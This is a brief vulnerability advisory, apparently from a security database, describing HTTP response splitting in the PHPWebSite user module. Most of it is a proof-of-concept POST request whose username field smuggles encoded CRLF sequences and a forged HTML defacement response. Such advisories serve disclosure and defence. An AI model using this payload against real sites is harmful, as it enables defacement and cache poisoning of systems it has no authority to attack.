PHPWebSite User Module HTTP Response Splitting Vulnerability

No exploit is required to leverage this issue. The following proof of concept has been provided:

POST /index.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 218
Connection: Keep-Alive

http://www.example.com/module=user&norm_user_op=login&block_username=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>This site in 0wned{/html}&password=foobar


 

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